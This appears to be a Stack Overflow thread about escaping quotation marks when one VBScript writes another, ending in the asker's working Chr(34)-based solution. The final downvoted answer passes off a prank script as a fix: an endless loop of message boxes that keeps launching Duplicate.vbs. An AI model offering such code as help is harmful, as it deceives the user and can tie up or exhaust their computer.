0

I'm trying to create a VBS via another VBS, but cant handle the quotation marks, and would love to know if it's even possible.

That's the 1 line I need in my new VBS:

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Main VBS code that doesn't work:

    Dim oFSO, vbFile
    Set oFSO = CreateObject("Scripting.FileSystemObject")
    Set vbFile = oFSO.CreateTextFile("try.vbs", True)
    vbFile.WriteLine ""CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False""
    vbFile.Close
Apex
  • 61
  • 9
  • If you need to write out a quote character use; Chr(34) – Sorceri Dec 19 '18 at 15:29
  • @Sorceri Mind explaining? I added it at the start and at the end but it didn't help – Apex Dec 19 '18 at 15:32
  • 1
    `vbFile.WriteLine "CreateObject(" & Chr(34) & "Wscript.Shell" & Chr(34) & ").Run "` you should be able to get the rest from there – Sorceri Dec 19 '18 at 15:44
  • @Sorceri Just had to add a few more quotation marks, thanks! – Apex Dec 19 '18 at 16:58
  • 1
    You should post what you did as an answer; Will help you get a few more points and allow you to have more actions on SO for future questions/answers. - Will also help anyone else down the line. – Sorceri Dec 19 '18 at 17:26
  • Possible duplicate of [About using Double quotes in Vbscript](https://stackoverflow.com/questions/15770599/about-using-double-quotes-in-vbscript) – Geert Bellekens Dec 20 '18 at 09:05
  • @GeertBellekens Not really, the solution here was quiet different – Apex Dec 20 '18 at 11:00

2 Answers2

1

Thanks to Sorceri, I managed to make it work by writing the following code:

Dim oFSO, vbFile
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set vbFile = oFSO.CreateTextFile("try.vbs", True)
vbFile.WriteLine "CreateObject(" & Chr(34) & "Wscript.Shell" & Chr(34) & ").Run """""""" & WScript.Arguments(0) & """""""", 0, False"
vbFile.Close
Apex
  • 61
  • 9
-3

This is what you need to do.

Copy and paste this code

do
msgbox("haha you cant close this")
CreateObject ("WScript.Shell").Run(".\Duplicate.vbs")
loop
Dharman
  • 30,962
  • 25
  • 85
  • 135